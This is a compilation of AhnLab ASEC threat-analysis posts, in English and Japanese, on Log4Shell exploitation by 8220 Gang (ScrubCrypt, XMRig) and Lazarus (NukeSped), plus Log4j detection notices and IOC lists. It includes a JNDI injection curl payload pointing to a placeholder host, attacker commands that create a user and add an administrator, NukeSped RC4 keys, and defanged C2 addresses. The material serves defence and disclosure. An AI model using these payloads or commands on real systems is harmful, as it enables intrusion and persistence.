ASEC confirmed that the 8220 Gang group has recently been using Oracle Weblogic vulnerabilities as well as Log4Shell vulnerabilities to download ScrubCrypt. The malware ultimately installed through ScrubCrypt is XMRig CoinMiner, which is identical to previous cases. 2. Log4Shell Attack Log Ever since its reveal in December 2021, Log4Shell has been used by many attackers. Until recently, it was employed in attacks targeting global and Korean systems that were not patched and vulnerable to attacks. ASEC has revealed attack cases where the Lazarus group used the vulnerability to spread NukeSped in 2022. The attackers used the log4j vulnerability on VMware Horizon products that were not applied with the security patch. [3] VMware Horizons are virtual desktop solutions, used mainly by companies for remote working solutions and cloud infrastructure operations. Lazarus Group Exploiting Log4Shell Vulnerability (NukeSped) ASEC has confirmed a log where the recently vulnerable ws_tomcatservice.exe process installed the CoinMiner malware. The final malware installed through this attack process was XMRig CoinMiner, which is the malware used by 8220 Gang. The detailed packet could not be identified, but judging from the attack log where the PowerShell command was executed by VMware Horizon’s ws_tomcatservice.exe process and the 8220 Gang’s tendency to attack unpatched systems using known vulnerabilities, it is likely that the Log4Shell vulnerability mentioned earlier was used for the attack. 3. Analysis of ScrubCrypt and XMRig CoinMiner As mentioned in the Fortinet blog shown above, the PowerShell script downloaded and executed by a Log4Shell Vulnerability attack is named “bypass.ps1”. The malware included inside is different, but the name and routine are mostly identical. “bypass.ps1” is an obfuscated PowerShell script. You can find the following script by decoding it. The first line is a routine that bypasses AMSI. The script then creates and executes the internally-included malware in the “%TEMP%PhotoShop-Setup-2545.exe” path after decoding it. “PhotoShop-Setup-2545.exe” is a .NET downloader malware that downloads and decodes encoded data from the following address and injects it in RegAsm.exe. Download URL : hxxp://77.91.84[.]42/Whkpws.png The malware injected in the RegAsm process and executed is obfuscated, but judging from the similarities to the ScrubCrypt routine introduced in the Fortinet post, it is probably a ScrubCrypt malware type. The ScrubCrypt used for the attack has 3 C&C URLs and 4 port numbers (58001, 58002, 58003, and 58004). 179.43.155[.]202 su-95.letmaker[.]top su95.bpdeliver[.]ru C&C URLs of ScrubCrypt (RegAsm.exe) ScrubCrypt connects to the C&C server and downloads additional commands. A command to install XMRig CoinMiner has been confirmed in the current analysis environment. “deliver1.exex” is an injector malware that is downloaded and executed. It injects a different ScrubCrypt encoded and saved within the internal resources in MSBuild.exe. This ScrubCrypt type has 2 C&C URLs and 4 port numbers (9090, 9091, 9092, and 8444). 179.43.155[.]202 su95.bpdeliver[.]ru C&C URLs of ScrubCrypt (MSBuild.exe) ScrubCrypt adds the following values to the registry: settings data used when executing XMRig (including the injection target process, mining pool address and wallet address, CoinMiner payload download URL), and encoded data files “plugin_3.dll” and “plugin_4.dll”. “plugin_4.dll” is an encoded .NET malware that operates in the memory after being decoded. Its function is to decode “plugin_3.dll” which is the encoded XMRig. It then injects “plugin_3.dll” into the normal process AddInProcess.exe designated in the settings data and executes it with the command line. Mining Pool URL : 174.138.19[.]0:8080 Wallet Address : “46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ” Password : “x” The attacker’s Monero wallet address is identical to the address in the previously revealed Atlassian Confluence server vulnerability attack. It is also identical to the recent Oracle Weblogic server vulnerability attack case posted by Fortinet. The 8220 Gang attack group has consistently been using an identical wallet address. 4. Conclusion The attack group known as 8220 Gang installs XMRig CoinMiner to mine Monero coins in vulnerable systems that are not patched. There have been cases where the group targeted vulnerable Atlassian Confluence servers. Recently, it has been using the Log4Shell vulnerabilities in VMware Horizon servers. Administrators must check if their current VMware servers are susceptible and apply the latest patches to prevent vulnerability attacks. They should also use security programs such as firewalls for servers accessible from outside to restrict access by attackers. Finally, caution must be practiced by updating V3 to the latest version to block malware infection in advance. File Detection – Downloader/PowerShell.Generic (2023.04.17.02) – Downloader/PowerShell.Generic (2023.04.17.02) – Downloader/Win.Agent.R572121 (2023.04.16.01) – CoinMiner/Win.XMRig.C5411888 (2023.04.16.01) Behavior Detection – Execution/MDP.Powershell.M2514 MD5 2748c76e21f7daa0d41419725af8a134 851d4ab539030d2ccaea220f8ca35e10 bd0312d048419353d57068f5514240dc d63be89106d40f7b22e5c66de6ea5d65 URL http[:]//163[.]123[.]142[.]210/bypass[.]ps1 http[:]//174[.]138[.]19[.]0[:]8080/ http[:]//77[.]91[.]84[.]42/Whkpws[.]png http[:]//77[.]91[.]84[.]42/bypass[.]ps1 http[:]//77[.]91[.]84[.]42/deliver1[.]exe FQDN su-95[.]letmaker[.]top su95[.]bpdeliver[.]ru IP 179[.]43[.]155[.]202 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
ASEC Log4Shell の脆弱性を悪用する Lazarus グループ (NukeSped) 2022-05-19
昨年12月、Java ベースのロギングユーティリティである Log4j の脆弱性(CVE-2021-44228)が世界的に問題となった。この脆弱性は、リモート先の Java オブジェクトのアドレスをログメッセージに含ませ Log4j を使用するサーバーに転送すると、サーバーから Java オブジェクトを実行できるリモートコード実行の脆弱性である。 https://asec.ahnlab.com/jp/29622/ ASEC 分析チームは、Lazarus グループの韓国国内をターゲットとする攻撃をモニタリングしており、4月に Lazarus グループと推定される攻撃グループがこの脆弱性を悪用して NukeSped マルウェアを配布した状況を補足した。攻撃者は、 セキュリティパッチが適用されていない VMware Horizon 製品 に log4j 脆弱性を使用した。VMware Horizon 製品は仮想化デスクトップソリューションとして、企業がリモート勤務ソリューションとクラウドインフラの運用のために使用する製品である。特に最近は新型コロナウイルスの影響により在宅勤務に切り替えた企業が増加したことで、この製品を使用する企業も増加したものと推定される。 NukeSped 以下は VMware Horizon の ws_tomcatservice.exe プロセスにより PowerShell コマンドが実行され、NukeSped をインストールする振る舞いに対する当社 ASD(AhnLab Smart Defense)のログである。 [図1] NukeSped インストールの ASD ログ NukeSped の解析 NukeSped は C&C サーバーから攻撃者のコマンドを受け取り実行できる、バックドア型マルウェアである。ここで扱うマルウェアは NukeSped の変種の一つで、2020年頃から Lazarus グループが使用している。この変種に関しては以下の ASEC ブログで詳細に取り上げたことがあり、この項目では攻撃に使用された NukeSped のタイプに関する簡単な紹介、そして過去バージョンとの比較を整理していく。 https://asec.ahnlab.com/jp/28588/ この変種の特徴は C++ で開発されており、仮想関数を使用することにより [図2] のようなクラス名がバイナリに含まれているという点である。 [図2] NukeSped のクラス名 そして一般的に DES アルゴリズムを使用して API 名を含む内部文字列、C&C サーバーリストを復号化し、C&C サーバーとの通信には RC4 アルゴリズムを使用するといった特徴を持っている。一方で若干の変形も存在するが、過去ブログでは C&C サーバーとの通信に RC4 アルゴリズムの代わりに Xor 暗号化(CryptorXor クラス)を利用するタイプがあったのに対し、今回の攻撃では内部文字列、C&C サーバーリストだけでなく、C&C サーバーとの通信にもすべて RC4 アルゴリズムを使用するタイプが確認された。このとき、RC4 キーは異なる値を使用する。 RC4 Key 1 (文字列の復号化) : 7B CA D5 7E 1B AE 26 D8 60 1B 61 DA 83 80 11 72 01 6C 54 D8 8A E8 DE 7B 1A 0A RC4 Key 2 (C&C 通信) : CD 80 5D D6 6C 1C 63 78 AF 13 7F 67 5B E9 B1 F4 87 27 EE 91 F3 5F 17 EE 9B 6A 28 61 8C F4 [図3] 文字列の復号化に使用される RC4 キー 文字列の復号化および API Resolving プロセスが完了すると、その後は C&C サーバーと通信を開始する。NukeSped は C&C サーバーとの接続が行われた後、さらなる検証プロセスを実行するが、C&C サーバーに SSL 通信を装った文字列を転送した後、特定の文字列を渡されると、正常な C&C サーバーと認識して以降のルーティンを実行する。ここに使用される文字列は、過去の解析レポートと同じく2種類が存在する。 C&C リクエスト C&C レスポンス Type 1 HTTP 1.1 /index.php?member=sbi2009 SSL3.3.7 HTTP 1.1 200 OK SSL2.1 Type 2 HTTP 1.1 /member.php SSL3.4 HTTP 1.1 200 OK SSL2.1 [表1] タイプ別 C&C リクエストおよびレスポンスの値 その後、ユーザー環境の MAC アドレスを取得し、RC4 アルゴリズムにより暗号化して C&C サーバーに伝達し、その後も同様にパケットを RC4 アルゴリズムにより暗号化して通信を行う。 [図4] C&C サーバーとの通信プロセス NukeSped は渡されたコマンドによりキーロガー、スクリーンキャプチャ、ファイルおよび Shell タスクを実行することができるが、これらの機能は以下のクラスに存在する。参考に、ModuleUsbDump、ModuleWebCamera の2種類のモジュールは今回の攻撃で新たに確認された機能である。 ModuleUpdate ModuleShell ModuleFileManager ModuleKeyLogger ModuleSocksTunnel ModuleScreenCapture ModuleInformation ModulePortForwarder ModuleUsbDump ModuleWebCamera NukeSped を利用した攻撃 INFOSTEALER インストール 攻撃者は NukeSped を利用して情報窃取型マルウェアをさらにインストールしていた。確認された2つのマルウェアはどちらもコンソール形式のプログラムであり、流出結果を別途のファイルとして保存しない。したがって、攻撃者はユーザー PC の GUI 画面を遠隔操作したか、パイプライン形式でデータを流出させたものと推定される。参考に、確認された情報窃取型マルウェア2つのうち一方は、以前の攻撃で使用されたものと同じファイルであることが特徴である。 [図5] 収集する情報リスト 情報流出対象のソフトウェアのリストおよびデータは以下の通りである。 収集データ:ブラウザに保存されたアカウント/パスワード、閲覧履歴 対象ソフトウェア:Google Chrome、Mozilla Firefox、Internet Explorer、Opera、Naver Whale 収集データ:メールのアカウント情報 対象ソフトウェア:Outlook Express、MS Office Outlook、Windows Live Mail 収集データ:最近使用したファイル名 対象ソフトウェア:MS Office(PowerPoint、Excel、Word)、アレアハングル2010 NUKESPED が使用するコマンド 攻撃者は、バックドア型マルウェアである NukeSped を利用してコマンドラインのコマンドを伝達し、さらなる情報を収集していた。以下のコマンドは、感染システムが存在する環境の基本的なネットワーク情報とドメイン情報を示している。このようにして収集した情報は、その後ラテラルムーブメント攻撃に使用される場合があり、成功すると攻撃者はドメイン内のシステムを掌握することができる。 cmd.exe /c “ping 11.11.11.1” cmd.exe /c “ipconfig /all” cmd.exe /c “query user” cmd.exe “net group “domain admins” /domain” net user _smuser white1234!@#$ cmd.exe “net localgroup administrators /add smi140199” Jin Miner 参考に、感染システムの ASD ログを解析した結果、Lazarus グループが NukeSped をインストールする前に、すでに他の攻撃者がその脆弱性を悪用して Jin Miner をインストールしたログが同時に存在していた。Jin Miner は 過去の Sophos のレポート ですでに Log4Shell の脆弱性によって配布されるマルウェアとして知られている。 [図6] Jin Miner インストール ASD ログ PowerShell コマンドによって上記のアドレスからインストールされる Jin Miner は、最終的にモネロコインを採掘する CoinMiner マルウェアである。 [図7] Jin Miner をインストールするスクリプト add.bat ファイル [図8] Jin Miner の設定ルーティン [IOC] NukeSped (MD5、検知名、エンジンバージョン) – 87a6bda486554ab16c82bdfb12452e8b (Backdoor/Win.NukeSped.R487407) (2022.04.23.02) – 830bc975a04ab0f62bfedf27f7aca673 (Trojan/Win.Andardoor.C5094639) (2022.04.21.01) – 131fc4375971af391b459de33f81c253 (Backdoor/Win.NukeSped.R486619) (2022.04.21.00) – 827103a6b6185191fd5618b7e82da292 (Backdoor/Win.NukeSped.R486595) (2022.04.20.03) – 1875f6a68f70bee316c8a6eda9ebf8de (Backdoor/Win.NukeSped.R486595) (2022.04.20.03) InfoStealer (MD5、検知名、エンジンバージョン) – 85995257ac07ae5a6b4a86758a2283d7 (Infostealer/Win.Pwstealer.C4510631) (2021.06.04.03) – 47791bf9e017e3001ddc68a7351ca2d6 (Backdoor/Win.NukeSped.C4631988) (2021.09.15.01) NukeSped ダウンロードアドレス – hxxp://185.29.8[.]18/htroy.exe NukeSped C&C アドレス – 185.29.8[.]18:8888 – 84.38.133[.]145:443 – 84.38.133[.]16:8443 – mail.usengineergroup[.]com:8443 NukeSped ファイル名 – svc.exe – srvCredit.exe – runhostw.exe – javarw.exe Jin Miner (MD5、検知名、エンジンバージョン) – 7a19c59c4373cadb4556f7e30ddd91ac (CoinMiner/BAT.Generic) (2022.05.11.03) – c2412d00eb3b4bccae0d98e9be4d92bb (CoinMiner/BAT.Generic) (2022.05.11.03) – 8c8a38f5af62986a45f2ab4f44a0b983 (Win-Trojan/Miner3.Exp) (2020.01.29.00) – 7ef97450e84211f9f35d45e1e6ae1481 (Win-Trojan/Miner3.Exp) (2020.01.29.00) – dd4b8a2dc73a29bc7a598148eb8606bb (Unwanted/Win32.NSSM.R353938) (2020.10.27.00) Jin Miner ダウンロードアドレス – hxxp://iosk[.]org/pms/add.bat – hxxp://iosk[.]org/pms/mad.bat – hxxp://iosk[.]org/pms/jin.zip – hxxp://iosk[.]org/pms/jin-6.zip
ASEC Lazarus Group Exploiting Log4Shell Vulnerability (NukeSped) 2022-05-11
In December last year, the vulnerability (CVE-2021-44228) of Java-based logging utility Log4j became a worldwide issue. It is a remote code execution vulnerability that can include the remote Java object address in the log message and send it to the server using Log4j to run the Java object in the server. [Alert] Apache Log4j 2 Vulnerability, Update Recommended The ASEC analysis team is monitoring the Lazarus group’s attacks on targets in Korea. In April, the team discovered an attack group suspected of being Lazarus distributing NukeSped by exploiting the vulnerability. The attacker used the log4j vulnerability on VMware Horizon products that were not applied with the security patch . The products are virtual desktop solutions, used mainly by companies for remote working solutions and cloud infrastructure operations. With the recent spread of Covid-19, it is likely that many companies are using the products for remote working. NukeSped The following is AhnLab’s ASD (AhnLab Smart Defense) log for NukeSped being installed by the powershell command executed on VMware Horizon’s process ‘ws_tomcatservice.exe’. Analysis of NukeSped NukeSped is a backdoor malware that can receive attacker commands from the C&C server and perform the received commands. The malware type mentioned in this post is one of the variants of NukeSped, that have been used by the Lazarus group since 2020. The variant was discussed in detail in the ASEC blog post shown below. This post will briefly introduce the NukeSped type used in the attack and compare it with the previous version. Analysis Report of Lazarus Group’s NukeSped Malware The variant is developed with C++. As it uses virtual functions, class names are included in the binary (see Figure 2). It normally uses DES algorithm to decrypt internal strings including API names and the list of C&C servers. To communicate with the C&C server, it uses the RC4 algorithm. But there are some changes as well: the previous blog post had types that used the Xor encryption (CryptorXor class) instead of the RC4 algorithm to communicate with the C&C server. But for this attack, there was a type using the RC4 algorithm for internal strings, a list of C&C servers, and C&C server communication. Each process uses a different value for the RC4 key. RC4 Key 1 (decrypting strings) : 7B CA D5 7E 1B AE 26 D8 60 1B 61 DA 83 80 11 72 01 6C 54 D8 8A E8 DE 7B 1A 0A RC4 Key 2 (C&C communications) : CD 80 5D D6 6C 1C 63 78 AF 13 7F 67 5B E9 B1 F4 87 27 EE 91 F3 5F 17 EE 9B 6A 28 61 8C F4 After the process for decrypting strings and API Resolving is complete, the malware starts communicating with the C&C server. NukeSped goes through an additional verification process after accessing the C&C server by sending a string disguised as SSL communication. When the malware receives certain strings, it will recognize the server as a normal C&C server and proceeds with the routine. As shown in the previous analysis report, there are two types of strings used for the process. C&C Requests C&C Responses Type 1 HTTP 1.1 /index.php?member=sbi2009 SSL3.3.7 HTTP 1.1 200 OK SSL2.1 Type 2 HTTP 1.1 /member.php SSL3.4 HTTP 1.1 200 OK SSL2.1 Table 1. C&C request and response values for each type The malware then finds the MAC address of the user environment and sends it to the C&C server after encrypting it with the RC4 algorithm. It will also encrypt packets with the algorithm in the subsequent communications. NukeSped can perform keylogging, taking screenshots, and file and shell tasks depending on the command it receives. The features exist in the classes shown below. Note that ModuleUsbDump and ModuleWebCamera are new features discovered in this attack. ModuleUpdate ModuleShell ModuleFileManager ModuleKeyLogger ModuleSocksTunnel ModuleScreenCapture ModuleInformation ModulePortForwarder ModuleUsbDump ModuleWebCamera Attacks using NukeSped Installing INFOSTEALER The attacker used NukeSped to additionally install infostealer. The 2 malware types discovered are both console types, not saving the leak result in separate files. As such, it is assumed that the attacker remotely controlled the GUI screen of the user PC or leaked data in the pipeline form. One of the 2 malwares is the same file used in the previous attack. The list of softwares and data for info-leakage is as follows: Collected Data: accounts and passwords saved in browsers, browser history Targeted Software: Google Chrome, Mozilla Firefox, Internet Explorer, Opera, and Naver Whale Collected Data: email account information Targeted Software: Outlook Express, MS Office Outlook, and Windows Live Mail Collected Data: Names of recently used files Targeted Software: MS Office (PowerPoint, Excel, and Word) and Hancom 2010 NukeSped Use Commands The attacker collected additional information by using backdoor malware NukeSped to send command line commands. The following commands show the basic network and domain information of the environment that has the infected system. The collected information can be used later in lateral movement attacks. If the attack succeeds, the attacker can dominate the systems within the domain. cmd.exe /c “ping 11.11.11.1” cmd.exe /c “ipconfig /all” cmd.exe /c “query user” cmd.exe “net group “domain admins” /domain” net user _smuser white1234!@#$ cmd.exe “net localgroup administrators /add smi140199” Jin Miner Analyzing the ASD log for the infected system shows that before the Lazarus group installed NukeSped, other attackers had already exploited the vulnerability to install Jin Miner. Jin Miner is known as a malware strain distributed through the Log4Shell vulnerability, as shown in the previous Sophos report . Installed in the path shown above through the powershell command, Jin Miner is a CoinMiner that ultimately mines the Monero coin. MD5 131fc4375971af391b459de33f81c253 1875f6a68f70bee316c8a6eda9ebf8de 47791bf9e017e3001ddc68a7351ca2d6 7a19c59c4373cadb4556f7e30ddd91ac 7ef97450e84211f9f35d45e1e6ae1481 URL http[:]//185[.]29[.]8[.]18/htroy[.]exe http[:]//185[.]29[.]8[.]18[:]8888/ http[:]//84[.]38[.]133[.]145[:]443/ http[:]//84[.]38[.]133[.]16[:]8443/ http[:]//iosk[.]org/pms/add[.]bat
ASEC V3 ネットワークの検知機能による Log4j 脆弱性(CVE-2021-44228)の検知 2021-12-28
2021年12月10日、Apache Log4j 脆弱性(CVE-2021-44228)が公開されたことにより、Github に様々な POC(Proof of Concept:概念実証)がアップロードされた。Log4j 脆弱性は攻撃者がログメッセージに不正なアドレスクラスを挿入し、Web サーバーに攻撃者が製作した不正なクラスを実行させることができるため、波及力が大きい。 AhnLab では Log4j の脆弱性を利用した攻撃を検知するためにネットワーク遮断シグネチャをアップデートし、以下に Log4j 脆弱性についての説明および V3 製品による検知映像を公開する。 1. 脆弱性の対象およびバージョン 以下の条件と一致する製品は、この脆弱性の影響を受ける。 Apache Log4j 2.0-beta9 ~ 2.12.1 および 2.13.0 ~ 2.15.0 バージョン Apache Log4j 1.2.x のすべてのバージョン 2. 脆弱性を利用した攻撃の方法 Log4j を利用するサービスにおいて user-agent で送信された文字列をログとして記録するコードが含まれている場合、以下のように攻撃を実行することができる。 [ サーバーソースコードの一部 ] static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); ... String userAgent = he.getRequestHeader("user-agent"); String response = "<h1>Hello There, " + userAgent + "!</h1>"; log.error("Request User Agent:{}", userAgent); ... [ 脆弱性を利用した攻撃 ] xxx.xxx.xxx.xxx/a ex) # curl 127.0.0.1:8080 -H “X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}” 3. AhnLab 製品の対応 現在 AhnLab では、V3 および TG/IPX、AIPS、HIPS 製品からこの脆弱性の検知が可能である。ただし、 V3 製品の場合ネットワーク侵入遮断オプションを有効化しなければ検知が不可能 なため、log4j 脆弱性の予防のためにできる限りネットワーク侵入遮断を使用することを推奨する。 Apache_Log4j_JndiManager_JNDI_Injection-1(CVE-2021-44228) (V3 エンジンバージョン : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-2(CVE-2021-44228) (V3 エンジンバージョン : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-3(CVE-2021-44228) (V3 エンジンバージョン : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-4(CVE-2021-44228) (V3 エンジンバージョン : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-5(CVE-2021-44228) (V3 エンジンバージョン : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-6(CVE-2021-44228) (V3 エンジンバージョン : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-7(CVE-2021-44228) (V3 エンジンバージョン : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-8(CVE-2021-44228) (V3 エンジンバージョン : 2021.12.22.03) 以下の映像は Log4j 脆弱性(CVE-2021-44228)を V3 企業向け有料製品において、ネットワーク遮断機能により検知および遮断を実行する映像である。 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC [お知らせ] Apache Log4j 脆弱性 CVE-2021-44228 の影響を受ける Log4j Core 2021-12-22
AhnLab は、Apache Log4j の脆弱性に対するセキュリティアップデートを推奨している。 Apache Log4j 脆弱性情報 脆弱性 Log4j 2.x バージョンにおいて、攻撃者がログメッセージによって遠隔でコード実行が可能な脆弱性(CVE-2021-44228、CVSS 10.0) [1] Log4j 2.x バージョンにおいて、攻撃者がログメッセージによってサービス妨害エラー(Denied of Service)を発生させることのできる脆弱性(CVE-2021-45046、CVSS 3.7) [2] Log4j 1.2.x バージョンにおいて、攻撃者がログメッセージによって遠隔でコード実行が可能な脆弱性(CVE-2021-4104) [3] 脆弱性の影響を受けるバージョン CVE-2021-44228 – Apache Log4j 2.0-beta9 ~ 2.14.1 バージョン (Log4j 2.12.2 を除く) CVE-2021-45046 – Apache Log4j 2.0-beta9 ~ 2.12 および 2.15.0 バージョン CVE-2021-4104 – Apache Log4j 1.2.x バージョン (参考) CVE-2021-45046 は log4j 2.x バージョンにおいて Pattern Layout に Context Lookup または Thread Context Lookup パターンを使用する場合に発生する (参考) CVE-2021-4104 は log4j 1.2.x バージョンにおいて JMSAppender 機能を使用する場合に発生する 最も深刻な(CVSS 10.0)脆弱性 CVE-2021-44228 は、直ちにセキュリティアップデートが必要である。運用中のシステムに脆弱な Log4j Core ライブラリがあるかどうか、確認が必要である。以下は CVE-2021-44228 脆弱性の影響を受ける Log4j-Core バージョン別のファイルリストである。各バージョン別ハッシュは Log4j ソースコードを個別の環境で直接ビルドした場合、異なる場合がある。 引用元 [1] https://archive.apache.org/dist/logging/log4j/ 引用元 [2] https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/ 番号 MD5 Hash Log4j Core バージョン 1 fbfa5f33ab4b29a6fdd52473ee7b834d log4j-core-2.0.1.jar 2 8c0cf3eb047154a4f8e16daf5a209319 log4j-core-2.0.2.jar 3 152ecb3ce094ac5bc9ea39d6122e2814 log4j-core-2.0-beta9.jar 4 088df113ad249ab72bf19b7f00b863d5 log4j-core-2.0-rc1.jar 5 de8d01cc15fd0c74fea8bbb668e289f5 log4j-core-2.0-rc2.jar 6 8d331544b2e7b20ad166debca2550d73 log4j-core-2.1.jar 7 5e4bca5ed20b94ab19bb65836da93f96 log4j-core-2.2.jar 8 110ab3e3e4f3780921e8ee5dde3373ad log4j-core-2.3.jar 9 f0c43adaca2afc71c6cc80f851b38818 log4j-core-2.4.1.jar 10 0079c907230659968f0fc0e41a6abcf9 log4j-core-2.4.jar 11 dd0e3e0b404083ec69618aabb50b8ac0 log4j-core-2.5.jar 12 48f7f3cda53030a87e8c387d8d1e4265 log4j-core-2.6.1.jar 13 472c8e1fbaa0e61520e025c255b5d168 log4j-core-2.6.2.jar 14 5523f144faef2bfca08a3ca8b2becd6a log4j-core-2.6.jar 15 2b63e0e5063fdaccf669a1e26384f3fd log4j-core-2.7.jar 16 547bb3ed2deb856d0e3bbd77c27b9625 log4j-core-2.8.1.jar 17 4a5177a172764bda6f4472b94ba17ccb log4j-core-2.8.2.jar 18 c6d233bc8e9cfe5da690059d27d9f88f log4j-core-2.8.jar 19 fab646257f945b0b2a7ce3e1c3e3ce5f log4j-core-2.9.0.jar 20 a27e67868b69b7223576d6e8511659dd log4j-core-2.9.0.jar 21 942f429eacb8015e18d8f59996cfbee6 log4j-core-2.9.1.jar 22 a3a6bc23ffc5615efcb637e9fd8be7ec log4j-core-2.9.1.jar 23 dc99011f047e63dcc741b5ab68d116db log4j-core-2.10.0.jar 24 0042e7de635dc1c6c0c5a1ebd2c1c416 log4j-core-2.10.0.jar 25 2abec2ce665e0d529a3f28fffbbb2dd3 log4j-core-2.11.0.jar 26 90c12763ac2a49966dbb9a6d98be361d log4j-core-2.11.0.jar 27 b2242de0677be6515d6cefbf48e7e5d5 log4j-core-2.11.1.jar 28 71d3394226547d81d1bf6373a5b0e53a log4j-core-2.11.1.jar 29 c8bd8b5c5aaaa07a3dcbf57de01c9266 log4j-core-2.11.2.jar 30 8da9b75725fb3357cb9872adf7711f9f log4j-core-2.11.2.jar 31 5c527821d1084a7ef3e03d40144ff532 log4j-core-2.12.0.jar 32 7943c49b634b404144557181f550a59c log4j-core-2.12.0.jar 33 0138ba1c191d5c754fd0e3c3a61c0307 log4j-core-2.12.1.jar 34 df949e7d73479ab717e5770814de0ae9 log4j-core-2.12.1.jar 35 b71a13fd5df251694fca116240003b22 log4j-core-2.13.0.jar 36 2803991d51c98421be35d2db4ed3c2ac log4j-core-2.13.0.jar 37 d365e48221414f93feef093a1bf607ef log4j-core-2.13.1.jar 38 5ff1dab00c278ab8c7d46aadc60b4074 log4j-core-2.13.1.jar 39 0ac5b3e6e69ba7765683798e669a30b2 log4j-core-2.13.2.jar 40 b8e0d2779abbf38586b869f8b8e2eb46 log4j-core-2.13.2.jar 41 cc7d55ed69cc5fd34035b15c6edf79a0 log4j-core-2.13.3.jar 42 46e660d79456e6f751c22b94976f6ad5 log4j-core-2.13.3.jar 43 862c00b2e854f9c0f1e8d8409d23d899 log4j-core-2.14.0.jar 44 62ad26fbfb783183663ba5bfdbfb5ace log4j-core-2.14.0.jar 45 948dda787593340a7af1a18e328b7b7f log4j-core-2.14.1.jar 46 3570d00d9ceb3ca645d6927f15c03a62 log4j-core-2.14.1.jar Log4j は Java ベースの環境においてログを残すために使用される代表的なオープンソースのロギングライブラリであるため、ユーザー数が非常に多い。しかし、致命的なセキュリティの脆弱性があるにもかかわらず、ASEC 分析チームが顧客環境を調査したところによると、以下のようにセキュリティアップデートが適用されていない脆弱な Log4j Core を使用しているユーザー数が今でもかなり多い。これは、外部接続が可能なサーバー以外に、個人が使用しているアプリケーションまたはフレームワーク環境を含んでいる。 C:\ ghidra \Ghidra\Framework\Generic\lib\log4j-core-2.12.1.jar C:\Users\<ユーザー名>\AppData\Roaming\. minecraft \libraries\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar C:\ eGovFrame-3.6.0 \maven\repository\org\apache\logging\log4j\log4j-core\2.1\log4j-core-2.1.jar C:\Apache Software Foundation\ Tomcat 8.5 \webapps\ROOT_210928\WEB-INF\lib\log4j-core-2.8.2.jar D:\<*****>_erp_server\ <***>ERP_<*****> \webapps\ROOT\WEB-INF\lib\log4j-core-2.10.0.jar C:\Users\USER\AppData\Local\ MapTool \app\log4j-core-2.13.0.jar C:\<ユーザー名>\ Teamcenter13 \tccs\third_party\TcSS\TcSS13.3\jars\log4j-core-2.14.0.jar \\<個人サーバー>\..\..\..\…\< ***>project \workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\ <***>project \WEB-INF\lib\log4j-core-2.11.2.jar \Users\<ユーザー名>\ eclipse-server \<*********>\WebContent\WEB-INF\lib\log4j-core-2.11.1.jar ユーザーは使用しているアプリケーションまたはフレームワーク環境において脆弱な Log4j Core ライブラリが含まれているかを確認し、脆弱なバージョンが存在する場合は直ちにセキュリティアップデートを行わなければならない。 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC Detection of Log4j Vulnerability (CVE-2021-44228) Using V3 Network Detection 2021-12-22
After the reveal of Apache Log4j vulnerability (CVE-2021-44228) on December 10th, 2021, there have been various POCs (Proof of Concept) uploaded on GitHub. The Log4j vulnerability has a huge impact because attackers can insert malicious class addresses and run malicious classes created by them on web servers. AhnLab has updated its network blocking signature to detect Log4j vulnerability attacks. Explanation of the vulnerability and a video of V3 detecting vulnerability is shown below. 1. Affected Products and Versions The products that fall under the following condition are affected by the vulnerability. Apache Log4j 2.0-beta9 to 2.12.1 and 2.13.0 to 2.15.0 version All versions of Apache Log4j 1.2.x 2. Vulnerability Exploitation Techniques If a service using Log4j includes a code that records strings sent to the user-agent as logs, the following exploitations can occur. [Part of server source code] static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.<em>class</em>.getName()); ... String userAgent = he.getRequestHeader("user-agent"); String response = "<h1>Hello There, " + userAgent + "!</h1>"; log.error("Request User Agent:{}", userAgent); ... [Vulnerability Exploitation] An attack that automatically executes the Java object located in xxx.xxx.xxx.xxx/a from the server ex) # curl 127.0.0.1:8080 -H “X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}” 3. AhnLab Products Response Currently, V3, TG/IPX, AIPS, and HIPS products can detect the vulnerability. However, as V3 products can only detect attacks when the Network Intrusion Prevention option is enabled , it is recommended for the users to use the option to prevent log4j vulnerability attacks. Figure 1. Enabling Network Intrusion Prevention feature Apache_Log4j_JndiManager_JNDI_Injection-1(CVE-2021-44228) (V3 Engine Version: 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-2(CVE-2021-44228) (V3 Engine Version: 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-3(CVE-2021-44228) (V3 Engine Version: 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-4(CVE-2021-44228) (V3 Engine Version: 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-5(CVE-2021-44228) (V3 Engine Version: 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-6(CVE-2021-44228) (V3 Engine Version: 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-7(CVE-2021-44228) (V3 Engine Version: 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-8(CVE-2021-44228) (V3 Engine Version: 2021.12.22.03) Figure 2. List of Log4j network detection signatures added in V3 products (for business) The following video shows how Log4j vulnerability (CVE-2021-44228) is detected and blocked by V3 products (for business) using the network intrusion feature.
ASEC [Notice] Log4j Core Affected by Apache Log4j Vulnerability CVE-2021-44228 2021-12-17
